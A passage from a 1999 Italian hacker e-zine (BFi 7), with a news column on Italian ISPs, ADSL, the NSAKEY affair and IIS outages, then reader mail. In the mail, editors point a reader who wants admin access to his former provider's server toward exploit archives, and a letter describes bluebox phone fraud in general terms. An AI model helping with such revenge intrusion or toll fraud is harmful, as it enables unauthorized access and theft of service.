Telecom Italia vi diranno che non si puo', voi fate la voce grossa e citate la delibera finche' non vi fanno lo sconto =) (Con qualche settimane/mese in ritardo hanno deciso anche di aggiornare la loro pagina su www.telecomitalia.it parlando non piu' di sconto per telefoni su rete telecomitalia, ma generici alla buon'ora ^_^) Nota a pie' di porco: Sembrerebbe che il simpatico Libero non permetta di fare i kattivoni sulle porte 31337(UDP) e 12345(TCP) (12346 boh), ergo se volete scannare o fare i porcelloni con BO o Netbus cambiate provider... (o forse e' meglio cambiare troiano =)) Add-on tecnico: da quanto ho testato Libero sembra piu' lento di Tin, sara' magari che si somma il traffico di Iol, di Infostrada e di Libero e pure del cugino di campagna del fattorino di Infostrada, comunque va un po' pianino... ma in altre zone d'italia mi dicono che e' il contrario, inzomma salcazzo! Ecco un paio di URL dirette per poter controllare se da voi c'e' un POP: (e poi non dite che non mi sbatto...) http://www.tiscalinet.it/abbonamenti/puntiaccesso http://pop.tin.it/clubnet http://www.libero.it/nodi/ http://www.jumpy.it/Free/punti.htm http://sun.kataweb.it/registrazione/numeri.html http://mia.supereva.it/nodi.html http://go.inwind.it/pop/default.htm http://www.miobarbiere.it/i/nodi/vengono/al/pettine.html ^_^ E infine vi pasto la url x lo sconto sulle chiamate: http://www.telecomitalia.it/perte/forurb.it.shtml Per ora e' tutto, aspettando l'ADSL.... [1] PetrOS alla ribalta! La societa' tasmaniana Trumpet Software (http://www.trumpet.com.au), creatrice dell'omonimo e famoso stack TCP/IP per Windows, ha annunciato che rilascera' a breve un nuovo sistema operativo molto compatto, economico e non ciucciarisorse (si parla di kernel da 100k, stack tcpip da 200k e possibilita' di funzamento su un 486 con 2Mb di Ram) con supporto completo di MultiTasking, modularita' e altre cosette belle che SI DICE (visto che sul loro sito nella press release del nuovo OS non se ne fa menzione) faccia girare apps Win32 NT/9x, viene infatti detto solo : "It contains industry standard disk structures and executable formats" che potrebbe voler dire supporto FAT16/32/NTFS e apps annesse e connesse. Il prezzo si aggirera' sui 20-100$ e sara' scaricabile da internet, una specie di sistema operativo shareware (per il crack vedere astalavista HIHI). Riuscira' a togliere mercato ai prodotti Microsoft gia' collaudati ^_^ e preinstallati un po' ovunque o agli OS completamente free come linux? Ai posteri l'hardware sentenza... (io comunque lo voglio provare, mi piacciono le cose strane (NO non il feticismo) e poi nella press release viene detto: "PetrOSTM has been designed and built from first principles using a high level language based on Object Pascal" [quindi fa proprio per me =))] Nota: tempo fa si parlava (lo stanno ancora sviluppando infatti) del sistema operativo Freedows (http://www.freedows.org), che doveva essere in grado inizialmente di far girare applicativi Win32 e in seguito programmi per Linux e Mac attraverso l'utilizzo di kernel modulari, ma per ora non s'e' vista in giro manco mezza beta, quindi ci sara' penso ancora molto da aspettare (Freedows e' stato iniziato mi pare solo un paio di anni fa mentre il progetto PetrOS e' iniziato nel 1992 ed e' quasi in dirittura di arrivo quindi fate le dovute proporzioni). Nota2: questa news e' di questa estate e non si sa tuttora nulla di piu', ho come l'impressione che "a breve" sia un termine alquanto ottimistico... Nota3: un altro progetto simile con obiettivo la creazione di un sistema in grado di emulare windows NT e' quello proposto da ReactOS, http://www.reactos.com x chi volesse darci una occhiata. [2] ADSL in arrivo Finalmente l'ASDL (asymmetric digital subscriber line) e' stato standardizzato dall'ITU, gauDIO e tripuDIO, ma come al solito noi italiani stiamo a guardare. Da quanto ho letto la telekoma sta testando il prodotto su un bacino di 300! famiglie a Roma e a Milano, cercando di capire i possibili utilizzi da parte di privati del servizio, la loro disponibilita' nello sborsare grano (quanto) per la linea digitale e la facilita' di utilizzo e di installazione (infatti stanno testando due tipi di installazioni, una fattibile dal primo utente coglione, l'altra necessitante di un tecnico coglione ehm preparato :)) Come al solito dovremo aspettare per vedere un servizio fatto male, costoso e alla cazzo come ci si puo' aspettare dalla Telecom, ma chissa' se il cambio di proprieta' dia nuovo stimolo all'avanzamento tecnologico della nostra rete telefonica e telematica (e non sempre sui cellulari, che gente del cazzo gli italiani, facessero i computer grossi come un orologio per spandere merda saremmo i primi nel mondo come numero di pc). Black Berry molto gentilmente mi segnala la URL dell'offerta di Telecom: http://www.telecomitalia.it/internet/adslofferta.it.shtml di cui vi riporto parzialmente il testo (non troppo chiaro direi): "ADSL: l'offerta Se aderite al servizio ADSL potrete sottoscrivere un abbonamento a servizi tipo InterBusiness o ATMosfera gestiti da Telecom Italia oppure a servizi a valore aggiunto o di trasporto a lunga distanza di altri operatori o Service Provider. Collegamento ADSL per cliente finale Telecom Italia provvede all'attivazione di una nuova linea e all'installazione e configurazione del modem ADSL e del POTS (Plain Old Telephone Service) Splitter, l'apparecchio che serve per separare il flusso dati dal flusso fonia. Il prezzo dell'abbonamento all'ADSL e' pari a 660.000 lire all'anno oltre a 400.000 lire come contributo di attivazione (comprensivo di linea telefonica, modem e Splitter). Accesso ad InterBusiness Il servizio prevede la navigazione interna ad InterBusiness (Big Access ADSL) oppure l'accesso a Internet (Netway ADSL). Le velocita' di accesso ad InterBusiness nella direzione downstream (dalla rete verso il terminale ADSL) sono comprese tra 128 kbit/s e 2 Mbit/s mentre nella direzione upstream (dal terminale ADSL verso la rete) la velocita' massima di connessione e' di 512 kbit/s. Accesso ad ATMosfera [Che bel nome ^_^] Nella direzione downstream la velocita' e' compresa tra 64 kbit/s e 1,5 Mbit/s mentre nella direzione upstream la velocita' massima di connessione e' 512 kbit/s. Collegamento ATM per Service Provider I Service Provider che vogliono offrire ai propri clienti servizi con ADSL devono indicare il numero totale dei loro clienti che utilizzeranno il servizio (che dovranno essere configurati) e la banda complessiva richiesta in ambito urbano verso tutti i loro destinatari. I S.P. vengono collegati al nodo ATM che funge da interfaccia mediante un collegamento diretto numerico (a 2 o 34 Mbit/s). ADSL: la velocita' Per la maggior parte delle aziende in Italia - considerando i vincoli della tecnologia ADSL e della situazione della rete in Italia - la linea ADSL puo' essere configurata con banda downstream (dalla rete verso la sede del cliente) di 2 Mbit/s e upstream (dal terminale ADSL alla rete) di 512 kbit/s. Con ADSL potete raggiungere velocita' fino a 5-6 Mbit/s se la linea su cui volete richiedere l'attivazione del servizio soddisfa alcuni requisiti come ad esempio una distanza ridotta tra la sede della vostra azienda e la centrale Telecom Italia e poche interferenze sulla linea. Le prestazioni che si possono ottenere dalla tecnologia ADSL dipendono da una serie di elementi quali la lunghezza e la sezione del doppino telefonico quindi non esiste una velocita' standard garantita a priori in tutti i casi su tutte le linee. Se volete usufruire del servizio ADSL, e' utile sapere che ogni nuova attivazione viene preceduta da un esame gratuito di fattibilita' per stabilire la velocita' che si puo' ottenere sulla linea da utilizzare. ADSL: gli altri vantaggi Un'idea dei vantaggi che si possono avere con ADSL? Tantissimi, dalla velocita' elevata alla convenienza economica, dalla riduzione dei tempi di attesa all'utilizzo di nuove e piu' semplici modalita' lavorative: La convenienza ADSL permette di incrementare la larghezza di banda a costi contenuti. Tempi piu' brevi ADSL offre una velocita' che e' circa 10 volte piu' veloce di un ISDN base e circa 50 volte piu' veloce di un modem dial-up a 33.6 kbit/s. La semplicita' operativa Per instaurare la connessione non bisogna attuare nessuna procedura dal momento che ogni terminale ADSL e' sempre collegato alla rete, 24 ore su 24 ("always on"). Pricing flat La tariffazione del servizio e' indipendente dal consumo, cioe' dal tempo della connessione o dal volume dei dati scambiati. I costi del servizio consistono nell'abbonamento al Service Provider, nell'abbonamento annuale al servizio e nel contributo di attivazione. La sicurezza della connessione I fili utilizzati per il collegamento sono dedicati ad un solo cliente fornendo cosi' una garanzia di sicurezza e di riservatezza del servizio." Si mormora che da Natale Telecom fornira' accesso ADSL alle famiglie a circa 200k al mese (pesante!) ma non so quando sia vero... e soprattutto delle vocine mi dicono che l'offerta per noi privati pezzenti sara' come al solito una inchiappettata a premi (del tipo dialup, ip dinamico e pure la suocera di Colaninno sul gobbone...) (Fonte: Corriere della Sera / Telecom Italia) Galactica dovrebbe essere la prima ad attivare a Milano nei giorni in cui leggete il servizio di ADSL per gli utenti privati, con una spesa di 400mila come attivazione e 150k al mese per avere accesso a internet 24/24 senza scattil Maggiori informazioni sulla loro offerta "power internet" su http://www.galactica.it/adsl . La risposta di Tin.it dovrebbe farsi sentire sotto Natale, vedremo come/dove sara'... (Fonte: Corriere della Sera) [3] Penetratio anal-IIS =)) Un wannabe hacker, MM1701, sfruttando i noti bug del server MS IIS ha bloccato i server di numerosi enti e societa', tra cui Fiat, Camera dei Deputati e Punto Informatico, ecco le sue parole : "e' assurdo che un neofita dell'hacking come me possa porre offline siti di grande importanza. Microsoft, in quanto leader di mercato, dovrebbe concentrare di piu' i propri sforzi sulla sicurezza del suo software." Effettivamente sarebbe il caso di fare qualcosa no? [4] Primo (?) arresto x mp3 in Italia Arrestato un giovane modenese di 26 anni che vendeva Compilation di Mp3 via Internet, il furbone aveva messo su un sito online dove permetteva di scegliere le canzoni e farsi inviare a casa la compilation in contrassegno. Che dire, non e' stata una grande idea.... [5] Telefonate Gratis con GratisTel Sta per essere attivato in tutta Italia il servizio di telefonia gratuita che ha avuto successo in vari paesi del Nord Europa; il servizio, offerto dalla GratisTel permette di effettuare telefonate urbane e interurbane gratuitatemente (cosi' c'e' scritto sul Corriere anche se a me pareva che le inter. non fossero gratuite, ma scontate.. vabbe' salcazzo) a costo di sorbirsi brevi messaggi (10-15s) pubblicitari ogni 2 minuti circa durante la chiamata (durata max chiamata 10min). Il servizio "dovrebbe" essere attivato a fine Novembre, uso il condizionale perche' non si sa mai. Probabilmente il servizio partira' prima a Milano e in seguito a fine anno a Roma, insomma per tutti gli altri ci sara' da aspettare ancora qualche mesetto... (straaaaaaaano) (Tratto dal Corriere della Sera) [6] BFi menzionato su PCProfessionale Ringrazio il fratello BlackBerry per la pronta segnalazione: da PC PROFESSIONALE - Settembre 1999 Hack-It: hacker conference italiana di Andrea Monti A Milano nei locali del centro sociale Bulk si e' tenuta la seconda edizione di Hack-It, il meeting che dovrebbe costituire il punto di riferimento per chi in Italia si occupa di sicurezza informatica in una prospettiva non "istituzionale", in altre parole di hacking. L'eventi ha avuto un certo risalto anche al di fuori dei circuiti usuali, se e' vero che e' stata registrata una massiccia presenza di giornalisti e fotografi e che importanti quotidiani come Repubblica e il Corriere della sera hanno riportato la notizia con una certa evidenza. Il programma si componeva di svariate sessioni che si sono occupate di hacking, sicurezza informatica, diritti digitali e dei temi cari alla cultura cyberpunk. Il clou della manifestazione e' comunque stato l'intervento di Wau Holland, presidente del Caos Computer Club (CCC, www.ccc.de) la storica associazione di Amburgo punta di diamante del movimento hacker in Europa. Ma andiamo con ordine. Innanzitutto e' doverosa una premessa: non si e' trattato di un raduno di "pirati informatici", la stragrande maggioranza degli intervenuti ci teneva infatti a specificare di non essere interessata all'hacking per scopi illeciti, ma di essere attratta dalle idee e dai messaggi di quella che potremmo definire una "filosofia di vita". Hack-It e' stata l'occasione per "tastare il polso" alla scena italiana e i risultati, malgrado le buone intenzioni, non sono stati molto incoraggianti (complice forse una LAN poco funzionante che ha impedito lo svolgersi di apprezzabili attivita' tecniche). Cio' che e' emerso con evidenza e' che manca una vera e propria "scena italiana", frammentata in una miriade di gruppi e gruppuscoli, con le immaginabili ricadute in termini di mancanza di scambio di informazioni e di crescita di livello tecnico medio. Cio' non toglie che si siano distinti un paio di gruppi - uno che ruota attorno al sito www.dislessici.org, l'altro composto dagli animatori della Web-Zine BFI (Butchered From Inside) particolarmente attivi nello sviluppo di tool per la sicurezza. [Grazie Monti ^_^] Archiviata la parte "sociale" passiamo al pezzo forte della manifestazione: l'incontro con Wau Holland. Sicuramente e' segno dei tempi il fatto che Wau abbia potuto circolare - non riconosciuto. Il che conferma una sorta di "impreparazione storica" delle nuove generazioni, spesso preda dell'ultimo gadget tecnologico, ma poco attente alle radici dei fenomeni. Il CCC e' stato spesso dipinto negli anni scorsi, come un covo di pericolosi delinquenti dediti al terrorismo informatico, complice anche la nota vicenda raccontata nel 1989 da Clifford Stoll in "The Cuckoo's egg", di un componente del CCC coinvolto in una storia di spionaggio. A fronte di questa vicenda (sulla quale il CCC ha rilasciato la propria versione, contenuta nel libro di prossima pubblicazione intitolato "23") resta il perdurante impegno sociale nel mettere in guardia le persone dalla cieca fiducia nella tecnologia e nei sistemi di sicurezza. Una delle azioni piu' emblematiche del Club fu quella di dimostrare del funzionamento del sistema VideoTel tedesco, riuscendo a far accreditare una somma di oltre centomila marchi sul conto dell'associazione (restituiti al termine dell'operazione dimostrativa). Una realta' controversa, dunque, che vista da vicino non sembra pero' essere cosi' pericolosa o votata al "lato oscuro della forza" tant'e che l'impegno attuale dell'associazione - ha detto Holland nella sua relazione - e' tutto orientato verso l'inserimento di Linux e dei sistemi aperti in particolare nel sistema scolastico tedesco. E su questa problematica il CCC ha aperto un canale di dialogo istituzionale con le autorita' in Germania. Sul versante dell'hacking in senso stretto, Holland si e' stupito della seriosita' e dei toni allarmistici con cui viene trattato il fenomeno in Italia, mentre in Germania la situazione viene vista in maniera piu' smitizzata. Holland - contrariamente a un altro guru, Richard Stallman - si e' dimostrato molto gentile e diponibile a parlare di tutto cio' con chiunque, fatta eccezione sulla vicenda di Boris Floricic, un componente del Caos Computer Club ufficialmente impiccatosi, ma trovato appeso al cappio con i piedi che toccavano terra... (C) 1999 PC PROFESSIONALE [7] CryptoFigli di MS Androcchia E cosi' la cara Microsoft ci ha fatto un nuovo scherzetto: parrebbe che nelle versioni di Windows 9x a partire dalla OSR2 e di NT (non so da quale versione) siano presenti DUE Chiavi crittografiche; grazie all'opera dello specialista di crittografia Nicko van Someren che ha dissasemblato il driver ADVAPI.DLL che controlla la gestione della sicurezza di WinStronz e ad un errore degli sviluppatori del SP5 di NT che si sono "dimenticati" di togliere i simboli di debug, una compagnia specializzata (Cryptonym) ha mostrato la presenza di queste due chiavi, una chiamata KEY, l'altra NSAKEY. Per chi non lo sapesse la NSA e' la National Security Agency americana e parebbe quindi che in Windows sia stata montata una specie di Backdoor crittografica che permetta alla NSA di caricare moduli di sicurezza e di compromettere la sicurezza delle copie di Windows (non si sa bene ancora come infatti non si e' ancora trovato un modulo che si contrassegni con la chiave NSAKEY). Tutto questo sarebbe gia' abbastanza preocuppante se non fosse che durante una conferenza sia stato mostrato che nelle Crypto-API di Windows 2000 sono presenti ben TRE CHIAVI, figuratevi che da quanto riportato sembrerebbe che addirittura il Capo MS dello sviluppo delle CAPI sia rimasto sorpreso di questa cosa (e soprattutto di essere venuto a saperlo da estranei). Fernandez, capo della Cryptonym, sostiene che sia possibile sostituire la NSAKEY con una chiave propria permettendo cosi' di sottoscrivere moduli crittografici anche oltreoceano o da terze parti non autorizzate; una dimostrazione di questo e' disponibile sul sito della societa' a questa URL: http://www.cryptonym.com/hottopics/msft-nsa/ReplaceNsaKey.zip E' sempre bello farsi inculare.... (Tratto da WIRED) [8] La tempesta dei pacchetti colpisce ancora ^_^ Veniamo a una news + hackeristica, il MITICO packetstorm torna in attivita' su un nuovo sito gestito dalla societa' di sicurezza Securify. Volate per gli ultimi filez di security related su: http://packetstorm.securify.com [9] Back from SMAU Dopo la visitina in un paio di giornate alla SMAU sommariamente posso dire questo: 1) notiva' non troppe (geforce256, athlon e qche cazzatilla...) 2) gente troppa troppa troppa (bambini di merda che giocano alla psx...) 3) pubblicita' a +infinito (cazzo servivan 700kilometriquadrati per wind ?!?) 4) gadget inutili a iosa (xo' io ho la maglietta di tiscali e voi no! =)) 5) fighe nella giusta quantita' da sbavare fino alla prossima fiera ^_^ e in particolare: 6) complimenti allo stand Philips, i vostri prodotti mi fanno generalmente cacare, ma quest'anno avete puntato sulla qualita' per la scelta delle standiste 7) un saluto particolare a una delle standiste dello stand WAITEC che servivano i gelati (capelli castani abbastanza corti, labbra color carne/pastello/salcazzo, fisico della madonna), se vuoi la mia mail e' sotto (leggera' BFi sicuramente oooooooooooooo ^_^) 8) un big fuck allo stand INTEL col loro gioco del cazzo per vincere un computer (il fuck ci sta dato che non ho vinto un beneamato cazzo, manco una stramaledettissima WebCam =)))) Della serie una volta era la fiera dell'informatica ora e' diventata un inno al disastro, a chi fa piu' casino, a chi mette la musica + alta o invita la radio migliore (complimenti alle tettone scelte da radio deejay ^_^). Parafrasando Freddie Mercury e gli Smashing Pumpkins : What a Truly Magnificient Sadness... [A] DA-DU-DU-DU DA-TAT-TAT-TAT All'inizio di novembre e' stata attivata la tariffazione a secondi invece che a scatti, si passa quindi da TUT a TAT ^_^ (e perche' non da ASATAIO' a PATAGARRU?), praticamente non dovrebbe cambiare molto, il canone e' aumentato (STRAAAANO) la spesa e' un po' variata, si va dal 7-8% in meno al 20-30% in piu' a seconda di quanto dura la chiamata, per maggiori informazioni http://www.tariffe.it <- sito very kool come confronti e calcoli. E' stata aggiunta inoltre la Tariffa di Prossimita' che e' una via di mezzo tra una urbana e una interurbana 15km e che viene incontro a chi deve chiamare da una citta' a un' altra relativamente vicina ma che, causa fumo eccessivo di Telecom quando divise il nostro mondo in settori, appartiene a un settore diverso. (vedi per esempio Milano e alcune citta' dell'hinterland e cosi' via) [B] Partnership Cineca (Italia) e Telia (Svezia) E' stato recentemente siglato un contratto di partnership fra Cineca (pioniere delle comunicazioni di rete in Italia, nonche' realizzatore e gestore della rete universitaria su tutto il territorio, e creatore del fornitore di accesso Nettuno) e Telia, altro big delle telecomunicazioni su territorio svedese. I termini della partnership non sono molto chiari. L'unica notizia certa e' che la nuova struttura, che prendera' il nome di Nextra (www.nextra.it), si porra' su un piano di concorrenza verso l'attuale (e presto non piu') monopolista, Telecom, su accessi dedicati CDA, CDN, Frame relay e fibra ottica. Della realizzazione della nuova rete Nextra si e' occupata (e si sta occupando tutt'ora) Infostrada. [C] Rete veloce L'11 Novembre e' stato presentato il progetto di MetroWeb (controllata AEM) di cablatura in fibra ottica di Milano e hinterland; inizialmente si partira' dall'area urbana, per poi espandersi gradualmente fino ad arrivare nel 2009 alla copertura dell'italia settentrionale. E' inoltre stato presentato il progetto FastWeb ovvero il fornitore di servizi (da Internet alla TV) che operera' sulla suddetta rete, oltre che ad eventuali affittuari delle linee. A mio parere nel giro di 1 anno e mezzo o 2 avremo un bello sviluppo tecnologico, chiaramente indietro di 4-5 anni rispetto agli altri, pero' lo avremo =)) [D] Miscellaneous Come al solito sono stati scoperti una cifra di bug x wincozz, e' uscito il SP6 x Windows NT (che adda altri bug deeeheheh), han trovato bachi dal telnet al registro per arrivare addirittura al print spooler di questo sistema operativo ^_^; sono uscite nuove release delle principali distro di linux, kernel development sempre in corso e cosi' via, inzomma il classico tran-tran; non sto qui a riportare troppo xche' faremmo un numero solo per i nuovi bugs, comunque l'avvertimento e', state in campana, seguite le news su www.s0ftpj.org e frequentate quanto piu' possibile le mailing list di bug del sistema operativo che vi interessa, altrimenti, felice morte ^_^ E per tutti voi linuxofili a breve in arrivo... Windows 2000 !!!! Lo so che lo state aspettando.... HIHIHI E intanto la microsoft lavora a Neptune, brrr paura !! Concludo qui conscio del fatto di aver dimenticato tanto, tralasciato troppo e sbagliato ancora di piu', comunque ho fatto il meno possibile e ne sono orgoglione ^_^ Ciao e al proximo BFi, nel 2000 (UAU e non rompete i coglioni coi discorsi tipo il millennio nuovo inizia nel 2001 che non gliene fotte a nessuno) Buon Natale, Buon Capodanno Spakkoso e saluti a tutte le sorelle !! ============================================================================== ---------------------------------[ EOF 4/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-05100777 1750 144 76403 7031215206 11771 0ustar smasterusers============================================================================== -------------[ BFi numero 7, anno 2 - 25/12/1999 - file 5 di 22 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ MAiLB0X - Cavallo Rieccoci al Mail Corner, sottofondo Silverchair - Anthem of the Year 2000.mp3 per questa intro e via alla grande: Con vostra grande felicita' (e' cosi' vero ?) mi son rimposessato del mailbox alla facciazza di sPIRIT ^_^ e son qui skazzed + che mai a rispondere alle vostre seghe mentali che arrivano da ogni dove tant'e' che non ci capisco piu' una sega con tutti sti account, vedete d'ora in poi di mandare a: ---->> bfi@s0ftpj.org <<---- Il pc finalmente e' di nuovo funzante, vediamo di farlo fruttare =) : [0] "come e' fatto un hacker" by phantom innanzitutto un saluto a tutta la redazione di BFi e i complimenti per la vostra rivista di cui ho gia' letto tutti i numeri (tranne il 5_ che winzip rifiuta di scompattare :( ) [Eddai un po' di impegno per gunzippare e starrare (si dira' cosi' ? :)) la nostra zine. Per la miliardesima volta vi dico di usare il web per cercare uno scompressore NO? E poi che winzip tarocco c'hai che non apre i gzip? Le versioni abbastanza recenti lo fanno] e che a forza di stampare sto trasferendo su carta (e' piu' comoda da leggere e non perdi la vista su un monitor 14' con la veneranda eta' di 4 anni). [Siamo in due, io su un monitor cosi' ci scrivo, si accettano donazioni da 15" in su...] Dopo i saluti di rito, continuo la mia E-mail con una domanda che leggendo la rivista mi sorge spontanea: "Come e' fatto un hacker?", non chiedo se ha tre occhi e la pelle verde, ma che cultura segue, come veste ecc... [Mmm io ho quattro occhi, due braccia, tre gambe, la pelle bianco-verde causa riflesso monitor ("Abbronzatura da CRT" come dice Tom Clancy) e due palle grosse cosi'! =) Cultura? Come Veste? Booh ognuno fa come vuole, per la cultura musicale qualcosa lo si puo' vedere dalle intro degli articoli comunque mi pare che si possa dire che gusti Rock si alternino a passioni TUNZTUNZ se non addirittura a tutte e due le cose in contemporanea (si avete capito bene, techno sul left speaker e metal sul right ^_^). Che altro dire? non c'e' una squola per acchezz, anzi che io sappia si passa dallo studente del liceo classico allo smanettone universitario (e non necessariamente di una univ. correlata con il pc), fino ad arrivare ad un esperto di sicurezza appassionato di queste cosucce. In sintesi ci si fa da soli, e ci sono alcuni piu' fatti di altri (vero Slump e pIG? =))] Penserete "ma che cazzo te ne frega !!", [Si appunto cazzo te ne frega =)] in effetti e' una domanda idiota pero' mi incuriosisce il modo in cui scrivete che, anche se non volete considerarlo "italiano" e' il piu' aperto e schietto che abbia mai visto e questo mi piace tantissimo. [Sara' perche' non siamo pagati? Sara' perche' vogliamo dire le cose come stanno e non usare giri di parole? Sara' perche' son sempre stato un cane in italiano? Sara' perche' siamo dei bastardi? :))] Vi scrivo questa lettera perche' mi sento nella strada giusta per entrare nel grande mondo degli hacker, mi interessa la loro cultura liberaritaria e lontana da ogni pregiudizio. [Bene sei gia' a buon punto. Free Speech for the Dumb =)] Per farlo non sto collegato a internet per nukkare la gente, cio' che sto facendo e' studiare tutto cio' che la rete offre (compresa la vostra rivista) [E' la cosa migliore, ma... non e' che e' una scusa per studiare i siti porno che sono offerti dalla grande rete ? =))] in attesa di installare linux (ebbene si', al momento sto usando win98). [Siamo in due, fottuto winmodem che non viene visto, sperem nel kernel 2.4 o in pho ^_^] <...> e quando finalmente andro' ad hackerare il mio fottuto ex provider che, oltre a farmi scadere il contratto 4 giorni prima se ne e' pure andato in vacanza (tant'e' vero che, i'indirizzo di posta che vedete non esiste piu'). [Simpatia eh...] Comunque, grazie ai metodi che la scienza mette nelle mani degli hacker (portscan) gli ho trovato la 8003 aperta in cui collegandosi con explorer mi visualizza una finestra "sendmail" in cui ci sono collegamenti come "user, client, network ecc.." sfiga che mi chiede la password di amministratore (win nt 4) se sapete quache bug me lo dite ? [mmm cerca su: http://packetstorm.securify.com http://161.53.42.3:80/~crv/security/bugs/ ] Finisco se no ci state un'ora a leggere poi scoglionati non mi rispondete. Un saluto a tutta la redazione !!! [Scoglionati ci stiamo sempre, ma di solito rispondiamo =))] Un' ultima domanda, perche' in IRC non riesco a entrare in #hacker.it, chi e' che mi puo' invitare? [Guarda non ne ho idea, che io sappia nessuno dello staff gira su quel chan (tantomeno #hackers.it o varianti) quindi non so chi lo gestisca, i'm sorry] Un salutone a tutti in attesa del prossimo numero! [Grazie e un saluto anche a te, continua a leggerci =)] NB: Questa mail mi e' arrivata privatamente, ma non potevo non metterla =) : [1] "hacker" by First Last Come cazzo fanno quei cazzo di big hackers.... ad entrare nei terminali delle banche italiane e fare cazzate nei conti degli altri..... i veri lamer non sono quelli che fanno finta di essere hack.. ma quelli che non riescono a fare altro che entrare nei server provider.... [Mmm che forse i veri lamer siano quelli che vogliono fare quel che dici tu e poi si fan beccare?!?] ormai si sa troppo di queste cazzate, voglio imparare a fare qualcosa di piu' WARNING !!!!! con le banche, altro che crasshare i sistemi !!!!! Non me ne frega un cazzo.... [Massi' tanto stare in prigione ti leva solo gli anni migliori della tua gioventu', chisseneincula...] Se non sei un lamer anche tu dammi na mano per fottere le persone che ci fottono !!!!! CHIARO!!!!! ????? ?!?!?!?!?! hAck wars !!!!! '00 :(:) Spero vivamente per te che non sei un lamer !!!!! [Chi? Io? Sisi' piuttosto che mettermi a fare cazzate con te mi spaccio per lamer...] I'm wait a-mail !!!! [Almeno l'inglese gesu'...] [2] Suggerimenti by The Duke Spett.li acherz del BFi...... Casualmente ho avuto modo di imbattermi nel primo (e spero l'ultimo....) numero del vostro magazine e non ho saputo fare a meno di scrivere queste righe....che spero sappiate cogliere nel modo giusto. Non sono da intendersi come flames, ma se proprio volete scrivere qualcosa e fare informazione, allora fatela nel modo corretto e senza dire idiozie. Non mi pronuncero' sulla stupidita' (o ingenuita') di alcune tecniche di hacking esposte nei vari articoli, passi anche la sezione dei Tips and Tricks (davvero interessante complimenti!) ...... menomale che l'autore riconosce i suoi limiti.... ma l'articolo sul Phreaking proprio no. Chi vi scrive e' forse uno dei piu' antichi phreakers italiani (siate onorati di queste critiche giacche' raramente mi prendo la briga di rispondere a qualsivoglia gruppo...). L'articolo in questione mostra chiaramente la totale mancanza di conoscenza sia da parte dell'autore, che evidentemente non sa neanche di cosa sta parlando (mi riferisco all'arte della Blue Box) sia da parte vostra che pubblicate le scemenze di questo signore. Innanzitutto la storia della scoperta della bluebox e' inventata. Il meccanismo che consente (notare l'utilizzo del presente....) la frode sui sistemi di comunicazione a standard C5 (volgarmente detto Blueboxing dalla forma/colore che aveva il primo dispositivo costruito al MIT capace di emettere i ben noti toni) e' stato scoperto da due studenti del MIT impiegati partime alla MA-Bell (spero sappiate almeno cosa sia) i quali si imbatterono in un manuale tecnico che descriveva dettagliatamente il funzionamento dello standard CCITT5 (inbound signaling system). Fatta questa necessaria precisazione passiamo a discutere dell'articolo vero e proprio. Le frequenze di cui il vostro amico parla sono riferite a un VECCHISSIMO testo americano scritto da Carl Marx. L'articolo in questione spiegava come ottenere il controllo (seize) di una trunk attraverso l'interruzione del tono di OFF/HOOK (2600Hz) nel vecchio sistema telefonico statunitense (R1) in uso fino al 1987. E' vero che i segnali compresi nel range 2200..3300 funzionavano anche in europa e in alcuni paesi del sud/est asiatico (dove appunto le linee internazionali usavano la modalita' di composizione numerica R1) ma cio che il vostro amico ha dimenticato di scrivere e' che quanto detto valeva 16 anni fa e solo ed esclusivamente per i paesi che usavano l'R1. (approposito le frequenze riportate nel vostro articolo non hanno alcun valore in quanto come dovreste sapere la freq. di seize varia anche notevolmente a seconda della zona qualita' del telefono/linea dal quale parte nonche' dall'intensita/volume con cui viene riprodotta, ndr) Dal 1987 in poi per far fronte alle crescenti frodi telefoniche che si perpretravano in tutto il mondo, la MA-Bell introduceva l'R2 che correggeva il problema del OFF/HOOK-toggle sebbene non risolvesse il problema della bluebox in quanto le comunicazioni vocali e i segnali di controllo viaggiassero ancora in modalita' inbound. Completamente ignorando il pericolo l'R2 si evolveva nel piu flessibile C5 attualmente ancora usato per le comunicazioni internazionali in diversi paesi dell'america latina e dell'asia, il quale conserva esattamente gli stessi problemi dell'R2. laggsi BLUEBOX. ........ attualmente ancora usato......... ebbene si. contrariamente a quanto voi piccoli wannabe crediate la bluebox e' ancora possibile. Non come scrivete voi solo da "..alcune parti d'italia", ma da TUTTA l'italia, giacche' tutta l'italia ha accesso ai cosiddetti HCD e tutta l'italia ha accesso ai vari Green che connettono direttamente l'italia con paesi arretrati tecnologicamente (almeno per quanto riguarda il sistema telefonico). La tecnica da utilizzare pero' e' molto piu complessa. I toni da inviare sono compositi: 2 spesso 3 talvolta 4 toni per trunk oltre ai canonici CL/FW, Seize ecc. Boxare oggigiorno e' dura, ma non impossibile e questo la rende ancora piu affascinante. Bisogna combattere con filtri "muti", kicker, logger e altre amenita' simili. Chi vi parla dal 1994 ha boxato in quasi tutta l'america latina, gran parte dell'asia e qualche isolotto europeo :> Oggi le C5 disponibili dall'italia sono pochissime, e fortunatamente poco conosciute. dico fortunatamente poiche' in soli 2 anni si e' assistito alla morte di 6 C5 che non essendo protette da nessun tipo di filtro erano facilmente brekkabili anche da boxatori della domenica.... Se da un lato tanta disinformazione mi fa piacere, poiche' cio' significa che poca gente sa e conseguentemente le C5 ancora attive avranno vita piu lunga, dall'altra mi rammarica vedere quanto basso sia il livello di preparazione della stragrande maggioranza degli acherZ italiani. dico acherZ perche' chiamarli Hackers o peggio ancora Phreakers sarebbe un abuso di titolo. saluti, TheDuke [Ho riprodotto tutta la mail cosicche' se effettivamente cio' che dice TheDuke e' vero sia di utilizzo per tutti voi/noi. Il tono della mail e' abbastanza polemico (e non nego che di primo acchito avevo preparato una rispostina pepata/incazzata) ma ho avuto modo di chattare con lui su irc e mi ha detto che ha visto anche gli altri numeri e concorda col fatto che la qualita' della zine sia migliorata di parecchio. Abbiamo inoltre parlato di altre cose interessanti quali ricariche telefoniche, grin, boxing and so on e devo dire che e' stata una chattata piacevole; gli ho inoltre proposto di prendere in considerazione la possibilita' di scrivere qualcosa per noi, vedremo se in futuro The Duke vorra' collaborare con BFi] NB2: Anche questa mi e' arrivata privatamente: [3] "None" by Jacopo Ciao, ho bisogno assolutamente che cosa c'e' di illegale nel tuo sito!!!!!!!!!!!! Please! [?? Beh Tutto e Niente, Tutto perche' c'e' la classica roba hack-oriented, Niente perche' effettivamente di roba illegale non c'e' un beato cazzo, ma aldila' di questo che stracazzo ti cambia ?!?] [4] Salcazzo by jake Hey maestri!!!! [Yo discepolo !!!] 